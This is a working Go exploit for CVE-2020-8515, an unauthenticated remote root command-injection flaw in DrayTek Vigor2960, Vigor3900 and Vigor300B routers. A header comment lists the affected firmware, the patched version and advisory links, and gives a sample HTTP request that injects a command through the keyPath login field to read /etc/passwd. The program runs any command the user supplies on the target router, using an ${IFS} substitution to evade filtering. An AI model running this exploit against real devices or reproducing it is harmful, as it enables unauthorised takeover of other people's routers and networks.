DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

`package main  
  
  
/*  
CVE-2020-8515: DrayTek pre-auth remote root RCE  
Mon Mar 30 2020 - 0xsha.io  
Affected:  
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,  
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,  
and 1.4.4_Beta  
You should upgrade as soon as possible to 1.5.1 firmware or later  
This issue has been fixed in Vigor3900/2960/300B v1.5.1.  
read more :  
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html  
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/  
https://thehackernews.com/2020/03/draytek-network-hacking.html  
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/  
exploiting using keyPath  
POST /cgi-bin/mainfunction.cgi HTTP/1.1  
Host: 1.2.3.4  
Content-Length: 89  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a  
*/  
  
import (  
"fmt"  
"io/ioutil"  
"net/http"  
"net/url"  
"os"  
"strings"  
)  
  
func usage() {  
  
fmt.Println("CVE-2020-8515 exploit by @0xsha ")  
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )  
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )  
}  
  
func main() {  
  
  
if len(os.Args) < 3 {  
usage()  
os.Exit(-1)  
}  
  
targetUrl := os.Args[1]  
//cmd := "cat /etc/passwd"  
cmd := os.Args[2]  
  
  
// payload preparation  
vulnerableFile := "/cgi-bin/mainfunction.cgi"  
// specially crafted CMD  
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a  
payload :=`'  
/bin/sh -c 'CMD'  
'`  
payload = strings.ReplaceAll(payload,"CMD", cmd)  
bypass := strings.ReplaceAll(payload," ", "${IFS}")  
  
//PostForm call url encoder internally  
resp, err := http.PostForm(targetUrl+vulnerableFile ,  
url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })  
  
if err != nil{  
fmt.Println("error connecting host")  
os.Exit(-1)  
}  
  
  
defer resp.Body.Close()  
body, err := ioutil.ReadAll(resp.Body)  
  
if err != nil{  
fmt.Println("error reading data")  
os.Exit(-1)  
}  
  
fmt.Println(string(body))  
  
}  
`